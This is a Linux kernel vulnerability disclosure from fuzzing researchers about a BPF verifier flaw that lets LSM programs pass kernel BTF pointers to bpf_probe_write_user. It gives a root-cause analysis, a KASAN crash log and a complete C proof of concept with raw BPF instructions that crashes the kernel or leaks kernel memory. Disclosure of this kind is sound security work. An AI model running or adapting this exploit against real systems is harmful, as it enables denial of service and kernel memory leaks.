Our fuzzing found an Out-of-Bounds Read / Null-Pointer Dereference
vulnerability in the Linux kernel BPF subsystem. The issue is triggered
when a `BPF_PROG_TYPE_LSM` program calls the `bpf_probe_write_user`
helper with a `PTR_TO_BTF_ID` (such as `struct file *`) as the source
argument. The verifier incorrectly allows this pointer type, causing the
kernel to treat it as a valid source memory buffer and dereference it
during the memory copy, potentially leaking kernel memory to user space
or causing a crash.
Reported-by: Quan Sun <
202209...@std.uestc.edu.cn>
Reported-by: Yinhao Hu <
ddd...@hust.edu.cn>
Reported-by: Kaiyan Mei <
M2024...@hust.edu.cn>
Reviewed-by: Dongliang Mu <
dz...@hust.edu.cn>
## Root Cause
This vulnerability is caused by an over-permissive type check in the
eBPF verifier regarding the `bpf_probe_write_user` helper.
1. A program is loaded as `BPF_PROG_TYPE_LSM` and attached via BTF to a
security hook, such as `bpf_lsm_mmap_file`. The arguments provided by
the context to this hook (e.g., `struct file *`) are marked by the
verifier as `PTR_TO_BTF_ID | PTR_TRUSTED`.
2. The BPF program invokes the `bpf_probe_write_user(dst, src, len)`
helper. This helper is intended to write data from a BPF space buffer
(`src`) to a user space address (`dst`). The expected type for `src` is
`ARG_PTR_TO_MEM | MEM_RDONLY`.
3. In `kernel/bpf/verifier.c`, the compatible register types for
`ARG_PTR_TO_MEM` incorrectly include `PTR_TO_BTF_ID`. While this is safe
for helpers that only read data internally within the kernel,
`bpf_probe_write_user` specifically exports this data to user space.
4. The BPF program passes the trusted kernel pointer directly to
`bpf_probe_write_user`.
5. The helper proceeds to call `copy_to_user_nofault`, copying the raw
kernel memory directly to the user-provided `dst` address.
6. If the pointer passed to the hook is `NULL` (which happens in
`security_mmap_file` when mapping anonymous memory) and an offset is
applied to bypass the verifier's struct size bounds check,
`copy_to_user_nofault` attempts to read from a near-NULL invalid address
(e.g., `0x48`), resulting in a Null-Pointer Dereference and a KASAN
crash. Even with a valid pointer, this allows arbitrary kernel
structures to be leaked to user space.
#### Execution Flow Visualization
```text
Vulnerability Execution Flow
|
|--- 1. `bpf(BPF_PROG_LOAD, ...)` loads LSM program
| |
| `-- Program type: `BPF_PROG_TYPE_LSM`
| Calls `bpf_probe_write_user(user_dst, kernel_ptr, len)`
|
|--- 2. Program attachment via BTF
| |
| `-- Attach to target function: `bpf_lsm_mmap_file`
|
|--- 3. User triggers `mmap()` (anonymous mapping)
| |
| `-- `ksys_mmap_pgoff` -> `vm_mmap_pgoff` -> `security_mmap_file`
| |
| |-- Calls the BPF LSM hook, passing `file` pointer (which is
NULL for anon mmap)
|
|--- 4. BPF LSM program executes
| |
| `-- Program invokes `bpf_probe_write_user(user_buf, file + 72, 8)`
|
|--- 5. `bpf_probe_write_user` executes
| |
| `-- Calls `copy_to_user_nofault(user_buf, NULL + 72, 8)`
| |
| `-> KASAN detects invalid access at address 0x48 -> Crash!
```
## Reproduction Steps
1. Load an LSM BPF program that:
- Takes a pointer argument from the context (e.g., `struct file *`).
- Applies an offset to this pointer to bypass the verifier's struct
boundary checks.
- Calls `bpf_probe_write_user` using the manipulated kernel pointer
as the `src` argument.
2. Attach the program to the valid BTF function id for
`bpf_lsm_mmap_file` obtained from the kernel image.
3. Trigger the hook from user space by calling anonymous `mmap()`, which
causes the kernel to pass a `NULL` file pointer to the LSM hook.
4. The execution of the helper will attempt to read from the
out-of-bounds/NULL offset, causing the kernel to crash and triggering KASAN.
## KASAN Report
```text
[ 222.421612][ T9884]
==================================================================
[ 222.422598][ T9884] BUG: KASAN: null-ptr-deref in
copy_to_user_nofault+0x13a/0x1d0
[ 222.423552][ T9884] Read of size 8 at addr 0000000000000048 by task
poc/9884
[ 222.424433][ T9884]
[ 222.424735][ T9884] CPU: 0 UID: 0 PID: 9884 Comm: poc Not tainted
7.0.0-rc5-g6f6c794d0ff0 #5 PREEMPT(f
[ 222.424755][ T9884] Hardware name: QEMU Standard PC (i440FX + PIIX,
1996), BIOS 1.15.0-1 04/01/2014
[ 222.424765][ T9884] Call Trace:
[ 222.424771][ T9884] <TASK>
[ 222.424777][ T9884] dump_stack_lvl+0x116/0x1b0
[ 222.424804][ T9884] ? copy_to_user_nofault+0x13a/0x1d0
[ 222.424822][ T9884] kasan_report+0xca/0x100
[ 222.424850][ T9884] ? copy_to_user_nofault+0x13a/0x1d0
[ 222.424872][ T9884] kasan_check_range+0x39/0x1c0
[ 222.424891][ T9884] copy_to_user_nofault+0x13a/0x1d0
[ 222.424911][ T9884] bpf_probe_write_user+0xaf/0xf0
[ 222.424931][ T9884] bpf_prog_b58fbe7e0c2ee32e+0x2f/0x38
[ 222.424948][ T9884] bpf_trampoline_6442657058+0x64/0x10d
[ 222.424965][ T9884] security_mmap_file+0x8b1/0x9f0
[ 222.424985][ T9884] vm_mmap_pgoff+0xd9/0x460
[ 222.425011][ T9884] ? __pfx_vm_mmap_pgoff+0x10/0x10
[ 222.425034][ T9884] ? __pfx_vfs_write+0x10/0x10
[ 222.425064][ T9884] ksys_mmap_pgoff+0xde/0x640
[ 222.425091][ T9884] ? __pfx_ksys_mmap_pgoff+0x10/0x10
[ 222.425116][ T9884] ? ksys_write+0x1a8/0x240
[ 222.425131][ T9884] ? __pfx_ksys_write+0x10/0x10
[ 222.425148][ T9884] __x64_sys_mmap+0x12c/0x190
[ 222.425177][ T9884] do_syscall_64+0x11b/0xf80
[ 222.425205][ T9884] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 222.425223][ T9884] RIP: 0033:0x7f996ace8963
[ 222.425236][ T9884] Code: ef e8 d1 b4 ff ff eb e7 e8 4a 68 01 00 66
2e 0f 1f 84 00 00 00 00 00 41 89 c7
[ 222.425252][ T9884] RSP: 002b:00007ffd372e3678 EFLAGS: 00000246
ORIG_RAX: 0000000000000009
[ 222.425269][ T9884] RAX: ffffffffffffffda RBX: 00007ffd372f3918 RCX:
00007f996ace8963
[ 222.425281][ T9884] RDX: 0000000000000001 RSI: 0000000000001000 RDI:
0000000000000000
[ 222.425291][ T9884] RBP: 00007ffd372f37f0 R08: 00000000ffffffff R09:
0000000000000000
[ 222.425301][ T9884] R10: 0000000000000022 R11: 0000000000000246 R12:
0000000000000000
[ 222.425311][ T9884] R13: 00007ffd372f3928 R14: 0000556343783dd8 R15:
00007f996ae08020
[ 222.425332][ T9884] </TASK>
[ 222.425338][ T9884]
==================================================================
[ 222.449121][ T9884] Kernel panic - not syncing: KASAN: panic_on_warn
set ...
[ 222.449739][ T9884] CPU: 0 UID: 0 PID: 9884 Comm: poc Not tainted
7.0.0-rc5-g6f6c794d0ff0 #5 PREEMPT(f
[ 222.450576][ T9884] Hardware name: QEMU Standard PC (i440FX + PIIX,
1996), BIOS 1.15.0-1 04/01/2014
[ 222.451633][ T9884] Call Trace:
[ 222.452048][ T9884] <TASK>
[ 222.452419][ T9884] dump_stack_lvl+0x3d/0x1b0
[ 222.452993][ T9884] vpanic+0x7f7/0xa80
[ 222.453496][ T9884] ? __pfx_vpanic+0x10/0x10
[ 222.454058][ T9884] panic+0xc7/0xd0
[ 222.454521][ T9884] ? __pfx_panic+0x10/0x10
[ 222.455078][ T9884] ? preempt_schedule_common+0x44/0xb0
[ 222.455742][ T9884] ? copy_to_user_nofault+0x13a/0x1d0
[ 222.456399][ T9884] ? preempt_schedule_thunk+0x16/0x30
[ 222.457056][ T9884] ? check_panic_on_warn+0x24/0xc0
[ 222.457672][ T9884] ? copy_to_user_nofault+0x13a/0x1d0
[ 222.458329][ T9884] check_panic_on_warn+0xb6/0xc0
[ 222.458934][ T9884] ? copy_to_user_nofault+0x13a/0x1d0
[ 222.459473][ T9884] end_report+0x142/0x190
[ 222.460003][ T9884] ? copy_to_user_nofault+0x13a/0x1d0
[ 222.460668][ T9884] kasan_report+0xd8/0x100
[ 222.461236][ T9884] ? copy_to_user_nofault+0x13a/0x1d0
[ 222.461909][ T9884] kasan_check_range+0x39/0x1c0
[ 222.462484][ T9884] copy_to_user_nofault+0x13a/0x1d0
[ 222.463125][ T9884] bpf_probe_write_user+0xaf/0xf0
[ 222.463733][ T9884] bpf_prog_b58fbe7e0c2ee32e+0x2f/0x38
[ 222.464405][ T9884] bpf_trampoline_6442657058+0x64/0x10d
[ 222.465076][ T9884] security_mmap_file+0x8b1/0x9f0
[ 222.465693][ T9884] vm_mmap_pgoff+0xd9/0x460
[ 222.466279][ T9884] ? __pfx_vm_mmap_pgoff+0x10/0x10
[ 222.466910][ T9884] ? __pfx_vfs_write+0x10/0x10
[ 222.467519][ T9884] ksys_mmap_pgoff+0xde/0x640
[ 222.468103][ T9884] ? __pfx_ksys_mmap_pgoff+0x10/0x10
[ 222.468754][ T9884] ? ksys_write+0x1a8/0x240
[ 222.469323][ T9884] ? __pfx_ksys_write+0x10/0x10
[ 222.469926][ T9884] __x64_sys_mmap+0x12c/0x190
[ 222.470530][ T9884] do_syscall_64+0x11b/0xf80
[ 222.471120][ T9884] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 222.471855][ T9884] RIP: 0033:0x7f996ace8963
[ 222.472382][ T9884] Code: ef e8 d1 b4 ff ff eb e7 e8 4a 68 01 00 66
2e 0f 1f 84 00 00 00 00 00 41 89 c7
[ 222.474703][ T9884] RSP: 002b:00007ffd372e3678 EFLAGS: 00000246
ORIG_RAX: 0000000000000009
[ 222.475716][ T9884] RAX: ffffffffffffffda RBX: 00007ffd372f3918 RCX:
00007f996ace8963
[ 222.476651][ T9884] RDX: 0000000000000001 RSI: 0000000000001000 RDI:
0000000000000000
[ 222.477602][ T9884] RBP: 00007ffd372f37f0 R08: 00000000ffffffff R09:
0000000000000000
[ 222.478555][ T9884] R10: 0000000000000022 R11: 0000000000000246 R12:
0000000000000000
[ 222.479487][ T9884] R13: 00007ffd372f3928 R14: 0000556343783dd8 R15:
00007f996ae08020
[ 222.480452][ T9884] </TASK>
[ 222.480897][ T9884] Kernel Offset: disabled
[ 222.481434][ T9884] Rebooting in 86400 seconds..
```
## Proof of Concept
The following C program demonstrates the vulnerability on the latest
bpf-next (commit 6f6c794d0ff05dab1fa4677f39043de8a6a80da3):
### How BTF_ID is obtained
To find the BTF ID for `bpf_lsm_mmap_file`, you can use `bpftool`:
```bash
bpftool btf dump file /path/to/vmlinux | grep "FUNC 'bpf_lsm_mmap_file'"
```
Example output:
```text
[XXXXX] FUNC 'bpf_lsm_mmap_file' type_id=YYYYY linkage=static
```
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <string.h>
#include <linux/bpf.h>
#define BTF_ID_MMAP_FILE 206275 // bpf_lsm_mmap_file
void execute_one() {
struct bpf_insn insns[] = {
{ 0xbf, 6, 1, 0, 0 }, // R6 = R1 (ctx)
{ 0x79, 2, 6, 0, 0 }, // R2 = *(u64*)(R6 + 0)
{ 0x07, 2, 0, 0, 72 }, // R2 += 72 (f_op offset)
{ 0x18, 1, 0, 0, 0x20000000 },
{ 0x00, 0, 0, 0, 0x00000000 },
{ 0xb7, 3, 0, 0, 8 },
{ 0x85, 0, 0, 0, 36 }, // call bpf_probe_write_user
{ 0xb7, 0, 0, 0, 0 },
{ 0x95, 0, 0, 0, 0 }
};
char log_buf[65536];
union bpf_attr attr;
memset(&attr, 0, sizeof(attr));
attr.prog_type = 29;
attr.insns = (uint64_t)insns;
attr.insn_cnt = sizeof(insns) / sizeof(struct bpf_insn);
attr.license = (uint64_t)"GPL";
attr.expected_attach_type = 27;
attr.attach_btf_id = BTF_ID_MMAP_FILE;
attr.log_buf = (uint64_t)log_buf;
attr.log_size = sizeof(log_buf);
attr.log_level = 2;
int prog_fd = syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
if (prog_fd < 0) {
perror("BPF_PROG_LOAD");
printf("Log: %s\n", log_buf);
return;
}
printf("Prog loaded: %d\n", prog_fd);
union bpf_attr link_attr;
memset(&link_attr, 0, sizeof(link_attr));
link_attr.link_create.prog_fd = prog_fd;
link_attr.link_create.attach_type = 27;
int link_fd = syscall(__NR_bpf, BPF_LINK_CREATE, &link_attr,
sizeof(link_attr));
if (link_fd < 0) {
perror("BPF_LINK_CREATE");
return;
}
printf("Link created: %d\n", link_fd);
mmap(NULL, 4096, PROT_READ, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
}
int main() {
mmap((void *)0x20000000, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
execute_one();
return 0;
}
```
## Kernel Configuration Requirements for Reproduction
The vulnerability can be triggered with the kernel config in the attachment.